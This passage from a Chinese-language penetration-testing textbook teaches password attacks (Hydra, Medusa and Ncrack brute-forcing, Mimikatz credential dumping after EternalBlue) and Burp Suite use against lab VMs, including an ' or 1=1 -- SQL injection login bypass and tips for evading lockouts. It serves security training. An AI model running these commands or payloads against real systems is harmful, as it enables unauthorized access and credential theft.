  • 暴力和掩码攻击:(模式 3)尝试给定字符集中的所有字符。

  • 混合攻击:(模式67)结合了单词列表和掩码,反之亦然。规则也可以与此攻击模式一起使用。

Hashcat 支持多种哈希算法;当您从终端窗口使用hashcat -h命令时,可以在[Hash modes]部分看到这些算法,如下截图所示。以下截图只是支持的哈希算法的一部分。当您在自己的实验室运行命令时,您将看到完整的列表。

图 15:Hashcat 支持的算法

如果您有 GPU,您可以真正利用 Hashcat 进行密码破解的能力。不幸的是,GPU 破解不在本书的范围内。

在线密码攻击

就像使用自动漏洞扫描器一样,我们可以利用工具自动尝试登录服务并找到有效的凭据。这些工具旨在自动化在线密码攻击,直到服务器响应有效的登录。在线密码攻击可以被定义为尝试通过暴力破解凭据登录到一个活动服务,直到发现有效的组合。

在线密码攻击的问题在于它们可能会很吵,触发警报。让我们来看一些常用的在线密码攻击工具。

Hydra

Hydra 是一个非常快速和灵活的登录破丨解丨器。它支持可以轻松添加的模块。它为许多协议和服务提供了强大的身份验证暴力破解。

Hydra 的语法如下:

hydra [username options] [password options] [options] [IP address] [protocol] -V -f

以下是一些可用的选项:

  • -l表示一个单一的用户名。

  • -L定义用户名列表。

  • -p定义一个单一的密码。

  • -P定义密码列表。

  • -t用于限制并发连接。

  • -V告诉 Hydra 显示详细输出。

  • -f用于在正确登录时停止。

  • -s用于定义一个端口。

  • -x利用暴力破解模式。例如,-x 5:8:A1生成长度为 5 到 8 个字符的密码,包括大写字母和数字。

Hydra 支持多种服务,其中一些包括sshsmbsmtp[s]、LDAP、http/s、Telnet 和 MySQL。

让我们利用 Hydra 攻击 Metasploitable 2 虚拟机上的服务。

在第三章,执行信息收集中,我们对 Metasploitable 2 虚拟机进行了 Nmap 扫描。我们发现的其中一个服务是ftp端口21。使用我们之前生成的密码列表,我们可以使用 Hydra 来进行在线密码攻击。

从 Kali Linux 的终端窗口,我们使用以下命令:

hydra -L [username file] -P [password file] [IP address] [service] -f

在这个命令中,我们定义了一个用户名密码列表。您会注意到在我的例子中,我使用了相同的文件。如果您有一个专门的用户名文件,您可以利用它。我们要攻击的服务是ftp,我们希望 Hydra 在找到有效登录后停止,所以我们使用了-f选项,如下截图所示:

图 16:使用 Hydra 对 Metasploitable 2 的 FTP 服务进行暴力破解登录

Hydra 有恢复取消扫描的能力。在以下截图中,您会注意到我使用了一个更大的密码列表,并故意使用了Ctrl + C键序列取消了扫描。请注意 Hydra 写下的以下消息。Hydra 创建了一个hydra.restore文件,可以用来恢复会话:

图 17:Hydra 恢复功能

重要的是要记住,大多数服务都配置为在一定数量的登录尝试失败后锁定帐户。这是被目标的 IT 人员注意到的一种方式。当登录尝试迅速连续发生时,入侵防范设备也可能发挥作用。关键是要减慢对服务的密码尝试次数。然而,这会花费您时间。

Hydra 是您应该在渗透测试工具包中拥有的工具。它能够运行大量的用户名、密码和目标列表。可以使用各种标志对其进行调整,以适应渗透测试中可能遇到的情况。

Medusa

Medusa 声称是一个快速、并行和模块化的登录暴力破解工具。它支持许多允许远程认证的服务。

以下是 Medusa 的一些关键特性:

  • 并行测试:这提供了同时针对多个主机、用户或密码进行测试的能力。

  • 可变用户输入:这提供了以各种方式指定目标信息的能力。例如,您可以使用包含主机列表的文件,或者可以在命令中定义单个主机。

  • 模块化设计:模块存在为独立文件(.mod)。如果需要对模块进行任何更改,核心应用程序无需修改。

  • 支持多种协议:与 Hydra 类似,Medusa 支持广泛的应用程序,包括smtphttppop3sshv2

以下是 Medusa 提供的一些选项:

  • -h定义目标主机名或 IP 地址。

  • -H指定包含多个目标的文件。

  • -U指定包含用户名的文件。

  • -P指定包含密码的文件。

  • -g [num]定义 Medusa 放弃尝试连接的秒数。

  • -r [num]定义重试尝试之间的秒数。

  • -M指定将使用的模块的名称。请注意,这是没有.mod扩展名的。

  • -m定义传递给模块的参数。

  • -Z定义了您想要恢复的先前扫描。

Medusa 支持多个模块。可以使用终端窗口中的medusa -d命令查看当前支持的模块列表,如下面的屏幕截图所示:

图 18:Medusa 支持的模块列表

Medusa 的语法如下:

medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]

让我们使用 Medusa 执行 FTP 攻击,就像我们用 Hydra 一样。使用的命令如下:

medusa -U [username file] -P [password file] -h [host IP address] -M [module] [options]

在这里,我正在使用相同的文本文件作为用户名密码。正在使用的模块是ftp,我希望 Medusa 在第一次匹配时停止使用-f选项,如下面的屏幕截图所示:

图 19:使用 Medusa 进行 FTP 暴力破解

Medusa 有恢复取消扫描的能力,如下面的屏幕截图所示。可以使用-Z [唯一代码]命令恢复这些扫描:

图 20:Medusa 恢复功能

Medusa 是另一个应该在您的渗透测试工具包中的工具。它灵活,并支持与 Hydra 相比不同的协议集。

Ncrack

Ncrack 是一个强大而快速的密码破解工具,专注于依赖认证的基于网络的服务。它被设计为模块化,利用命令行语法,如果您熟悉 Nmap 的语法,这并不陌生。您可以将使用 Nmap 执行的扫描集成到 Ncrack 中。Ncrack 支持的协议包括sshrdpftptelnethttp/ssmb等等。

Ncrack 已包含在 Kali Linux 中,因此无需安装,因为它可以直接使用。Ncrack 的语法如下:

ncrack [Options] [target:service specification/port number]

以下是 Ncrack 提供的一些选项:

  • -cl定义最小并发并行连接数。

  • -CL定义最大并发并行连接数。

  • -at定义每个连接的认证尝试次数。这是避免帐户锁定的好方法。

  • -U指定用户名文件。

  • -P指定密码文件。

  • -iX定义从 Nmap XML 输出文件(Nmap 中的-oX开关)输入的文件。

  • -iN定义从 Nmap 正常输出文件(Nmap 中的-oN开关)输入的文件。

  • -iL定义主机或网络列表。

要显示 Ncrack 支持的当前模块列表,可以运行ncrack -V命令,如下面的截图所示:

图 21:Ncrack 支持的模块

由于 Ncrack 具有执行暴力破解攻击的能力,让我们对 Metasploitable 3 虚拟机执行此攻击。使用以下命令:

ncrack -U [username file] -P [password file] IP:service -f -vv

在这个命令中,我正在使用相同的文件来存储用户名和密码。我正在使用-f选项来在匹配时停止,-vv用于增加详细输出,如下面的截图所示:

图 22:使用 Ncrack 攻击 Metasploitable 3 的 RDP 服务

在使用 Ncrack 执行 RDP 暴力破解登录时,Metasploitable 3 虚拟机会话被锁定。这是在进行渗透测试时需要牢记的事情。如果活动用户或管理员正在使用系统并且他们的会话被锁定,这肯定会引起警报。

如果您终止扫描,Ncrack 可以通过保存还原文件来恢复当前会话,如下面的截图所示可以使用ncrack --resume [filename]命令来恢复此扫描:

图 23:恢复 Ncrack 会话

您在渗透测试中尝试暴力破解的协议将决定您将使用的工具。在某些情况下,您可能可以选择多个工具,您的选择可能取决于工具本身的速度。加快暴力破解攻击的常见选项是增加登录线程的数量。在某些情况下,例如 RDP 和 SMB,由于协议相关的限制,这可能是不可能的。

另一个要考虑的因素是协议认证协商。例如,RDP 等协议的认证协商比 HTTP 更耗时。然而,如果您成功地暴力破解了 RDP 协议,您的回报通常会更大,因为这可能会导致更高特权的附加哈希。使用在线工具进行暴力破解的技巧在于在发起攻击之前仔细选择目标、用户列表和密码文件,并且要有直觉。

从内存中获取密码

破解密码确实可以很有趣,但从受损主机的内存中获取密码要快得多。这将使您快速访问凭据,从而可以提升权限或在环境中横向移动。一些系统可能配置了wdigest认证,这将为您提供明文密码,而其他系统可能更安全,您可以利用它们进行哈希传递攻击。

让我们来看看从内存中获取密码的一些可能性。我们将利用前一章学到的知识(第五章,深入了解 Metasploit 框架),并对 Metasploitable 3 虚拟机执行eternalblue漏洞利用。对于有效载荷,我们将利用meterpreter shell,如下面的截图所示:

图 24:EternalBlue 漏洞利用中使用的选项

一旦我们建立了meterpreter会话,我们可以利用 Metasploit 框架的内置工具,或者使用诸如MimikatzWindows 凭据编辑器之类的工具。从meterpreter会话中使用 Mimikatz 不会加载任何内容到远程系统(不会触及磁盘)。这种方法的美妙之处在于它更难以检测,因为没有任何内容被写入磁盘。使用Windows 凭据编辑器WCE)这样的工具需要我们将工具上传到远程系统,然后从内存中获取凭据。由于这涉及向远程系统磁盘写入,因此检测的可能性更大。

在 Metasploit 中内置了从meterpreter会话中使用msv命令获取内存中的哈希的功能。您将在以下截图中注意到,我们已经从当前用户的内存中转储了LMNTLM哈希:

图 25:使用 Metasploit 转储 MSV 哈希

我们下一个选择是从内存中转储 Kerberos 凭据。这可以使用meterpreter会话中的kerberos命令来完成,如下截图所示。

请注意,我们能够获取明文凭据:

图 26:使用 Metasploit 转储 Kerberos 凭据

使用wdigest命令也是可能的,如下截图所示。这是可能的,因为正在使用的身份验证协议是wdigest,这是不安全的:

图 27:使用 Metasploit 转储 wdigest 凭据

meterpreter,我们能够利用 Mimikatz。Mimikatz 是为了演示 Microsoft 操作系统使用的身份验证协议的漏洞而创建的。它是最广泛使用的黑客工具,拥有大量功能,并且不断更新。

可以使用meterpreter会话中的load mimikatz命令加载 Mimikatz。加载后,您可以使用mimikatz_command -f命令对 Mimikatz 进行管道命令。

要转储受损主机的哈希值,您可以使用mimikatz_command -f samdump::hashes命令,如下截图所示。注意,如果您想对其进行离线密码破解,可以复制新技术局域网管理器NTLM)哈希:

图 28:在 Meterpreter 中使用 Mimikatz 转储 SAM 数据库中的哈希

您可以使用mimikatz_command -f sekurlsa::searchPasswords命令从内存中提取密码,如下截图所示:

图 29:使用 Mimikatz 从内存中提取密码

利用meterpreter的灵活性,您可以上传文件,例如 Windows 凭据编辑器。这将允许您从内存中转储密码,如下所示:

图 30:使用 Windows 凭据编辑器从内存中转储凭据

能够从内存中转储密码可能会非常有益,特别是如果第一次就获得了高特权帐户。

摘要

密码是我们每天都在使用的东西,了解如何破解密码可以帮助成功进行渗透测试。请记住密码安全性的权衡;密码越复杂,人们绕过它的机会就越大。密码重复使用是人们常犯的一个缺陷,因此您可能会发现,某个终端用户的在线服务密码与其企业网络用户帐户的密码相同。在用于破解密码的所有工具中,都支持限制暴力攻击尝试。此功能使您能够将暴力攻击与日常流量混合在一起,最终减少锁定。

在本章中,您已经了解了密码的历史。我们看了一下如何从公开文件中发现暴露元数据的用户名。您已经了解了可以获取密码和用户列表的在线资源。您学会了如何在密码配置文件中使用您的感知能力,以及如何创建配置文件密码列表。我们研究了密码变异,以及如何使配置文件密码列表更适合您的目标。我们深入研究了离线密码攻击以及如何使用各种工具来破解密码哈希。在在线密码攻击部分,我们看了如何使用各种工具对利用身份验证的网络服务进行暴力攻击。

在下一章(第七章《使用 Burp Suite》)中,我们将学习如何在渗透测试中使用 Burp Suite。我们将使用 Burp Suite 的各种模块,并对 Web 服务器进行各种攻击。

问题

  1. 获取用户名的一种方式是什么?

  2. 密码分析的好处是什么?

  3. 什么工具可以用于密码变异?

  4. 在线和离线密码攻击有什么区别?

  5. 从内存中转储凭据时应该记住什么?

第七章:使用 Burp Suite

Burp Suite 是一款广泛使用的基于 Java 架构的 Web 应用程序渗透测试工具,有免费和付费版本。它可以在 Windows、Linux 和 macOS 等多个平台上使用。Burp Suite 用于识别漏洞和验证 Web 应用程序攻击向量。它拥有丰富的功能,是一个非常受欢迎的综合工具,有很多关于它的书籍。

在本章中,您将了解 Burp Suite 和各种版本。我们将重点介绍版本之间的差异以及如何获取专业版的试用许可证,该许可证用于本章中的演示。您将准备您的环境,以便在您自己的实验室中复制演示。最后,我们将研究 Burp Suite 提供的工具,并了解渗透测试人员如何使用这些工具。通过使用易于跟随的实际示例,您将对这些工具有很好的理解。

在本章中,我们将涵盖以下主题:

  • 介绍 Burp Suite

  • 准备您的环境

  • Burp Suite 的要点

技术要求

要跟随本章中的示例和说明,请确保您具有以下内容:

  • Kali Linux 2019.1

  • Burp Suite 专业版(撰写本文时为 v1.7.37)

  • 开放 Web 应用程序安全项目OWASP破损 Web 应用程序BWA)项目版本 1.2.7

  • Metasploitable 2

了解 Burp Suite

Burp Suite 类似于拦截代理。在对目标 Web 应用程序进行渗透测试时,可以配置 Burp Suite,使所有流量都通过其代理服务器路由。这使 Burp Suite 可以充当中间人攻击,捕获和分析与 Web 应用程序之间的每个 Web 请求。这使渗透测试人员可以利用暂停、操纵和重放请求等功能,以发现目标 Web 应用程序中的潜在注入点。这些注入点可以手动定义,也可以通过自动模糊技术定义。

模糊测试是一种软件技术,通过使用畸形或半畸形的数据包以自动化的方式发现实现错误。

Burp Suite 目前有三个版本可用:

  • 社区版:这是默认与 Kali Linux 一起提供的免费版本。

  • 专业版:这是一个付费版本,在撰写本文时每年每用户费用为 399 美元。

  • 企业版:这个版本是为企业设计的。根据 PortSwigger 的网站(https://portswigger.net/)在撰写本文时的起价为 3999.00 美元/年。这个版本不在本书的范围内。

在本书中,我们将使用专业版。PortSwigger 提供了 Burp Suite 专业版的免费试用。您只需提供有效的公司名称和公司电子邮件地址即可申请试用许可证。

社区版和专业版之间的区别在于功能。社区版对 Intruder 功能有限制,通过强制限制线程。社区版不包括任何扫描功能或内置有效负载。当然,您可以将自己的有效负载加载到社区版中。需要专业版的插件在社区版中无法使用。社区版只允许您创建临时项目,因此无法将项目保存到磁盘。社区版只包括基本的手动工具,而专业版包含基本和高级的手动工具。

要了解不同版本之间的差异,请访问 https://portswigger.net/burp,该网站将解释差异并显示每个版本的当前价格。

准备您的环境

为了测试 Burp Suite 的功能,我们需要准备我们的环境。有许多有意设计易受攻击的 Web 应用程序。这些是专门用于学习目的创建的,它们非常好。随着您在 Burp Suite 中掌握技能,我鼓励您查看各种易受攻击的 Web 应用程序,这些应用程序是专门创建和发布的。一个很好的资源,可以找到在线和离线版本的易受攻击的 Web 应用程序软件,就是 OWASP。

OWASP 维护着一个易受攻击的 Web 应用程序目录项目,可以在www.owasp.org/index.php/OWASP_Vulnerable_Web_Applications_Directory_Project#tab=Main找到。

安装 Burp Suite 专业版

在我们开始渗透测试之前,我们需要安装 Burp Suite。默认情况下,Kali Linux 2019.1 附带了 Burp Suite 的社区版。在本书中,我们将使用专业版的免费试用版。

请注意,在撰写本文时,最新的稳定版本是 v1.7.37。如果您使用任何测试版,界面将与本书中打印的屏幕截图不同。

让我们走一遍获取 Burp Suite 专业版试用许可证所需的步骤:

  1. 导航至portswigger.net/requestfreetrial/pro

  2. 根据表格要求填写您的详细信息。请注意,您需要输入公司电子邮件地址,因此来自 Gmail、Outlook 和其他邮箱的个人电子邮件地址将无法使用。

  3. 您将收到一封带有登录详细信息的电子邮件,您将使用该信息登录下载门户。一旦您登录到您的帐户,您就可以继续下载许可文件。我正在使用普通的jar文件,因为我可以运行这个独立的应用程序,而无需安装它,如下面的屏幕截图所示:

图 1:Burp Suite 专业版的下载选项

  1. 下载文件后,您可以在 Kali Linux 终端窗口中使用java -jar [filename]命令启动 Burp Suite 专业版。在第一次启动期间,它将要求您提供许可密钥并继续激活许可。

如果您想配置分配给 Burp Suite 的内存量,可以使用-Xmx命令开关,例如java -jar -Xmx2048m [filename]

设置 OWASP BWA

BWA 项目创建了一个包含已知漏洞的多个应用程序的虚拟机。该项目是为那些有兴趣学习以下内容的人创建的:

  • Web 应用程序的安全

  • 各种手动测试技术

  • 各种自动化测试技术

  • 如何使用工具进行源代码分析

  • 了解 Web 攻击的影响

  • 如何测试 Web 应用程序防火墙和类似工具

OWASP BWA 项目的直接链接是www.owasp.org/index.php/OWASP_Juice_Shop_Project

下载 BWA 虚拟机后,您需要使用诸如 7-Zip 之类的程序对其进行提取。下图中显示的 BWA 文件是虚拟机文件,可以导入到 VMware Workstation 或 VirtualBox 中:

图 2:提取的 BWA 文件

将文件导入 VMware Workstation 非常简单。您只需要打开或导入.vmx文件。对于 VirtualBox,我们需要执行一些额外的步骤:

  1. 打开 VirtualBox 并创建一个新的虚拟机。为虚拟机定义一个名称,然后选择 Linux Ubuntu(32 位)作为操作系统类型。

  2. 继续使用向导,但当涉及硬盘组件时,选择使用现有的虚拟硬盘文件,而不是创建新的硬盘。在这里,您将选择 BWA 虚拟硬盘(OWASP Broken Web Apps-cl1.vmdk),如下面的屏幕截图所示:

图 3:导入 BWA 虚拟硬盘

  1. 单击“创建”以创建虚拟机。您可以根据需要调整处理能力和内存,但默认设置应该足够。

  2. 确保您为这台虚拟机使用主机模式或网络地址转换(NAT)网络配置。不要直接将其暴露在公共互联网上,因为这台虚拟机是有意设计成易受攻击的。

  3. 虚拟机启动后,它将提供可用于访问它的 IP 地址,如下截图所示:

图 4:BWA 虚拟机信息

一旦您启动了 BWA,您会注意到它会提供有关如何通过 Web 浏览器和 SSH 访问它的信息。

配置您的浏览器

由于 Burp Suite 依赖于代理工具来执行其所有功能,因此您需要配置浏览器以使用代理。在 Kali Linux 2019.1 中,默认包含 Firefox ESR(Extended Support Release)。配置浏览器的代理设置很简单,但每次都必须手动更改代理设置可能会令人沮丧。

Firefox ESR 有一些代理管理插件。我个人喜欢使用 FoxyProxy(addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/),因为它提供了定义多个代理并通过 Firefox 的插件按钮进行切换的功能:

图 5:FoxyProxy 配置了多个代理

添加新代理就像点击“选项”并添加新代理一样简单。在下一节中,我们将介绍如何添加代理。

探索和配置 Burp Suite 组件

Burp Suite 拥有各种工具,可帮助渗透测试人员在整个 Web 应用程序测试过程中使用。这些工具使渗透测试人员能够映射环境,进行漏洞扫描并利用漏洞。

Burp Suite 有一个简单的图形界面,包含两行标签和各种面板(图 6)。第一行标签(1)是当前安装的工具。第二行标签是主要工具的子组件(2),在该子组件中,有各种面板(3):

图 6:Burp Suite 的界面

图 6中的示例显示了“目标”主工具被选中,并且“站点地图”子组件被选中。在该子组件中,有多个面板,如“内容”和“问题”。

Burp Suite 工具

现在让我们使用 Burp Suite 中的各种工具,并在攻击之前的部署的 OWASP BWA 项目中使用它们。

当您启动 Burp Suite Professional 时,在磁盘上创建一个新项目(图 7),这样您就可以随时查看结果。您可以使用 Burp Suite 默认的配置文件:

图 7:Burp Suite 的新项目

现在我们已经启动了我们的项目,我们可以深入了解工具并学习如何使用它们。

代理

这是 Burp Suite 的核心,允许您创建一个拦截代理,可在您的浏览器和目标 Web 应用程序之间进行操作。您可以使用此工具拦截、检查和修改所有请求和响应。

要配置代理选项,您需要访问代理工具并选择“选项”选项卡,如下截图所示:

图 8:代理工具中的代理监听器选项

代理监听器部分是您定义代理详细信息的地方。默认配置对我们将执行的活动足够。值得启用的另一个配置项位于代理选项的响应修改部分。此设置标题为取消隐藏的表单字段,如下截图所示:

图 9:启用取消隐藏的表单字段

隐藏的 HTML 表单是通过客户端进行表面不变的数据传输的常见机制。如果标记为隐藏,则该字段不会显示在屏幕上。但是,字段的名称和值存储在表单中,并在用户提交表单时返回给应用程序。Burp 代理可用于拦截提交表单的应用程序并更改值。

在 Firefox ESR 中配置如下:

  1. 打开 Firefox ESR 并导航到首选项:

图 10:导航到 Firefox 首选项

更快的导航到首选项的方法是在 Firefox ESR 中导航到about:preferencesURL。

  1. 一旦您进入首选项,搜索代理并单击设置按钮。

  2. 一旦进入代理设置,您可以根据以下截图定义 Burp Suite 代理:

图 11:在 Firefox ESR 中定义 Burp Suite 代理

在上一节中,我们提到这种方法有时会变得令人沮丧,因为有时您需要在不使用 Burp Suite 代理的情况下浏览。

要在 FoxyProxy 等附加组件中配置 Burp Suite 代理,我们只需定义代理设置(图 12),保存配置后,您将能够在代理设置之间切换:

图 12:将 Burp Suite 代理添加到 FoxyProxy

现在我们已经设置和配置了代理,让我们继续下一个工具,我们将在其中定义目标并执行诸如绘制站点地图等活动。

因为 Burp Suite 中的代理作为拦截代理工作,所以当您浏览 URL 时,必须转发请求。如果不转发请求,URL 将无法在浏览器中加载。

目标

该工具提供有关目标应用程序的内容和工作流程的详细信息。它协助您引导测试过程。在此工具中,可以手动绘制目标站点(或使用集成的爬虫),并在绘制应用程序后修改范围。

我们将把目标定义为 BWA 虚拟机的主 IP 地址。例如,根据上一节的截图,我的 BWA 虚拟机的 IP 地址为192.168.34.152

可以使用以下步骤定义目标:

  1. 单击目标工具,然后选择`范围

  2. 目标范围部分下单击添加,并输入 BWA 虚拟机的 IP 地址。

  3. Burp Suite 将提示您注销范围外的项目。在这种情况下,我们不想记录它们,因此选择,以便 Burp Suite 不会将范围外的项目发送到其他工具:

图 13:在 Burp Suite 中定义目标

  1. 一旦您将目标范围定义为 BWA 虚拟机 IP 地址,打开 Firefox 并导航到 BWA 虚拟机的 URL,例如http://192.168.34.152。您会注意到,在代理工具中不转发请求(图 14)的情况下,网页将无法加载:

图 14:使用代理工具转发请求

  1. 一旦您转发了请求,BWA 主页将加载。在目标工具下的站点地图(图 15)中,您现在将拥有目标 Web 应用程序的完整站点地图:

图 15:基于定义的目标填充的站点地图

左侧树视图中包含内容的分层表示,URL 被分成域、目录、文件和参数化请求。要查看更多细节,您可以展开有趣的分支。如果您选择了树的一个或多个部分,右侧视图中子分支中的所有项目将显示相关的详细信息。右侧视图包含从树视图中选择的分支的内容的详细信息以及分支中识别的任何问题。

扫描器

这个工具在 Burp Suite 的专业版中可用。它提供了高级的 Web 漏洞扫描功能,具有自动爬行功能来发现内容。

利用扫描功能就像右键单击要扫描的分支,然后选择主动或被动扫描功能一样简单,如图 16所示:

图 16:启动扫描功能

有两种类型的扫描可以执行,主动和被动。以下详细介绍了两者之间的区别:

  • 被动扫描:这种类型的扫描只是分析和检测现有请求和响应内容中的漏洞。使用这种扫描,您将能够限制对 Web 应用程序的噪音量。这种类型的扫描能够检测许多漏洞,因为许多漏洞可以使用被动技术来检测。

  • 主动扫描:这种类型的扫描提交了许多定制的请求,并分析结果以寻找漏洞。主动扫描可以识别更广泛的漏洞,对于进行全面的应用程序测试是必不可少的。请记住,这种扫描将导致向应用程序发送更多的噪音。

以下图片显示了扫描器检测到的问题的输出:

图 17:主动扫描检测到的问题

打开问题会提供有关问题的更多信息,包括受影响的主机、路径、严重程度和信心水平,如图 18所示:

图 18:问题详情

扫描的每个结果都包含详细的建议,通常包括与特定漏洞相关的定制信息和适当的修复说明。每个结果还将包括报告问题的完整请求和响应,其中相关部分将被突出显示。这些请求可以像往常一样传输到其他 Burp 工具,以检查问题或进行进一步测试。

Repeater

这用于手动操作和重新发出 HTTP 请求。一旦发送这些手动请求,您就能够分析响应。您可以从 Burp Suite 的任何位置向 Repeater 发送请求。

让我们使用 Repeater 进行登录操作:

  1. 关闭 Burp Suite 代理 Firefox ESR,导航到 BWA 主页,然后单击 OWASP Mutillidae II。

  2. 在左侧导航中,选择 OWASP 2007 | OWASP 2007 A6 – 不当的错误处理 | 登录(图 19)。这将带您到登录页面:

图 19:OWASP A6 – 不当的错误处理

  1. 启用 Burp Suite 代理拦截。一旦启用,尝试使用任意随机凭据登录。在 Burp Suite 的代理工具中,您将看到登录请求被拦截。右键单击请求,然后选择“发送到 Repeater”。在我的示例中,您将看到我使用了一个随机的usernametesting和一个passwordtest-user,如图 20*所示:

图 20:Burp Suite 代理工具拦截的登录请求

  1. 点击Repeater工具,在左侧,您将看到拦截的登录请求。点击 Go 并观察结果。注意,Loggin-In-User 字段为空,如下图所示。如果单击 Render 选项卡,您将看到没有用户已登录。这告诉我们,我们使用的随机username不存在:

图 21:使用 Repeater 重放 HTTP 请求

从这里开始,我们可以修改初始请求中的任何参数。您可以尝试各种usernamepassword并观察结果。为了演示目的,我们将使用常见的 SQL 注入技术(SQL 注入将在第八章中更详细地介绍,攻击 Web 应用程序)。

  1. username=字段中,删除最初使用的随机用户名,并输入' or 1=1 -- SQL 注入命令。点击 Go 并观察输出(图 22)。注意Set-Cookie参数现在设置为username=admin,Logged-In-User 设置为admin。这告诉我们,通过使用' or 1=1 --作为用户名和任何密码,我们能够执行 SQL 注入攻击并以管理员身份登录:

图 22:使用 Repeater 执行 SQL 注入攻击查询

如果您使用 Render 选项卡,您将看到已登录的用户是admin

Repeater 在操纵请求和测试 Web 应用程序如何处理各种请求方面提供了很多功能。

入侵者

这允许对 Web 应用程序进行强大的自定义攻击自动化。它使您能够配置各种 payload、payload 选项和攻击选项。

让我们使用 Intruder 来查找 Multillidae 中的隐藏网页:

  1. 导航到 BWA 主页应用程序,选择 OWAP Multillidae II。确保 Burp Proxy 设置为拦截模式。点击页面顶部的 Login/Register 链接。找到拦截的请求,右键单击它,然后选择 Send to Intruder,如图 23所示:

图 23:将拦截的请求发送到 Intruder

  1. 点击 Intruder 选项卡。Intruder 会自动标记 payload 位置。在我们的情况下,我们对POST消息感兴趣。点击 Clear§,这将清除所有自动放置的位置。双击login.php上的POST请求,然后点击Add§,如图 24*所示。我们将使用 Sniper 攻击类型:

图 24:定义 payload 位置

Sniper 攻击类型允许您指定一个 payload 与您选择的每个输入字段一起尝试。如果您想要用可能的选项列表对单个输入字段进行暴力破解,那么它确实很有用。

Battering ram 攻击尝试同时跨所有选择的输入字段使用一个 wordlist。当您认为凭据可能具有相同的用户名和密码时,这非常有用。

Pitchfork攻击使用额外的 wordlist。这将使其使用一个 wordlist 用于用户名,第二个 wordlist 用于密码。Pitchfork 将用户名 wordlist 的第一个单词与密码 wordlist 的第一个单词进行匹配,因此它不提供广泛的覆盖范围。

Cluster bomb 攻击是最全面的攻击,也是最耗时的。此攻击尝试使用用户名 wordlist 的每个组合与密码 wordlist 的每个组合。

  1. 点击 Payloads,Payload 类型我们将使用的是 Simple list。在 Payload Options 中,我们将定义一些众所周知的隐藏页面,如admin.phpsecret.php_admin.php_private.php。一旦 payload 选项被定义(图 25),攻击可以使用 Start attack 按钮开始:

图 25:定义 payload 选项

攻击开始后,将出现一个新窗口,显示如图 26所示的结果:

图 26:入侵者攻击结果

从结果中,我们可以得出所有结果返回了相同的状态代码。这些都是可访问的,我们可以通过查看“响应”选项卡和“渲染”选项来确认这一点。

入侵者可以使用定义的单词或单词列表来暴力破解登录过程。执行简单的集群炸弹攻击可以按以下步骤完成:

  1. 使用随机的“用户名”和“密码”登录 Multillidae。当请求被拦截时,将其发送给入侵者,如图 27所示:

图 27:将登录请求发送给入侵者

  1. 在入侵者工具中,将攻击类型定义为集群炸弹,并将有效载荷位置定义为您使用的“用户名”和“密码”。在以下示例中,我使用了“测试”作为“用户名”和test作为“密码”,如图 28所示:

图 28:在集群炸弹攻击中定义有效载荷位置。

  1. 单击“有效载荷”选项卡,并使用简单列表为每个有效载荷集定义“用户名”和“密码”。

  2. 单击“有效载荷选项”选项卡,并注意请求引擎下的选项。在这里,您可以控制攻击,例如调整重试之间的暂停和节流。这使您能够将暴力破解尝试与正常流量混合在一起,最终避免提高过多无效登录尝试的风险。审核设置后,切换回“有效载荷”选项卡并开始攻击。

  3. 攻击完成后,您将看到有效凭据返回了 HTTP 302 请求。我们可以通过“渲染”选项卡确认这一点,其中显示了admin登录用户,如下图所示:

图 29:使用入侵者找到的有效凭据

入侵者具有丰富的功能,可用于您的渗透测试。

顺序器

这使得可以分析目标应用程序重要数据项的随机性质。这些项可以是会话令牌、密码重置令牌等。这种类型的数据是不可预测的,可以发现导致漏洞被发现的缺陷。

一种常见的攻击称为会话固定攻击。这是一种允许攻击者检索有效用户会话的攻击。攻击查看易受攻击的 Web 应用程序管理会话 ID 的方式的限制。Web 应用程序要么不分配新的会话 ID,要么会话 ID 的随机性较弱。这使得攻击者可以使用现有用户的会话 ID。

顺序器的工作方式是基于令牌是随机生成的假设。当顺序器执行测试时,将计算可能发生的某些特征的概率。定义了一个显著性水平,如果这些特征的概率低于此水平,则将标记这些令牌为非随机。

让我们使用默认安装在 Metasploitable 2 中的Damn Vulnerable Web ApplicationDVWA)进行测试:

  1. 确保您已将目标范围修改为 Metasploitable 2 虚拟机的 IP 地址。修改范围并将代理设置为拦截流量后,使用标准 HTTP 协议导航到虚拟机的 IP 地址。单击 DVWA 链接。注意您拦截到的两个请求。第一个是 HTTP GET 请求,如图 30所示:

图 30:DVWA GET 请求

第二个请求是设置唯一 Cookie 和Personal Home PagePHP)会话 ID,如下所示:

图 31:DVWA 设置的 PHP 会话 ID 和 Cookie

  1. 我们将在我们系统上设置的 cookie 上使用 Sequencer 进行测试。右键单击第一个 GET 请求,并选择“发送到 Sequencer”选项。Sequencer 选项卡将亮起,您应该选择它。在响应中的令牌位置部分,选择 PHPSESSID=值,如下截图所示:

图 32:定义令牌位置

  1. 点击“开始实时捕获”按钮,让其运行几秒钟。一旦捕获到超过 200 个请求,您可以暂停或停止捕获,并选择“立即分析”。观察结果:

图 33:来自 Sequencer 的结果

在这个例子中,我们可以看到整体结果是优秀的。根据我们捕获的请求数量,Web 应用程序生成的会话令牌是强大的。

解码器

这可用于执行应用程序数据的各种类型的编码或解码。可以将数据的各个部分转换为代码,例如 Base64、十六进制和二进制。

使用解码器非常简单。您可以将文本编码或解码为各种输出。例如,在图 34中,一个简单的明文字符串可以编码为 Base64。

图 34:使用解码器将明文编码为 Base64

在渗透测试中,您可能会发现 Web 应用程序披露了可以解码为可读文本的信息。或者,您可能需要利用一个需要编码为 HTML 或 URL 并将该代码转发回 Web 应用程序以获取响应的漏洞。

比较器

当您需要查看两个数据项之间的视觉差异时,这非常方便;例如,当您查看有效和无效用户凭据之间的响应或检查会话令牌是否是随机的时。

当我们使用 Sequencer 工具时,我们讨论了会话固定攻击。让我们使用比较器工具在 Mutillidae 上执行测试,看看能发现什么。在这里,我们将不使用Sequencer工具,因为我们将执行一个简单的测试:

  1. 确保您已将目标定义为 OWASP BWA 虚拟机,并将代理设置为拦截。配置目标后,使用 HTTP 协议导航到 BWA 应用程序的主页。

  2. 选择 Mutillidae II 链接,并转发拦截的请求。接下来,点击“登录/注册”链接,并确保请求已转发。然后,使用adminusernameadminpassword登录。登录后,转到代理工具的HTTP 历史选项卡。找到两个请求,即 GET 和 POST 请求。

  3. 选择在我们点击“登录/注册”链接时捕获的 GET 请求。右键单击该请求,并选择“发送到比较器”,如下截图所示:

图 35:将相关请求发送到比较器

  1. 重复步骤 3以进行 POST 请求,显示成功登录。

  2. 点击“比较器”选项卡,并确保您选择要比较的两个不同请求,如图 36所示:

图 36:选择要比较的请求

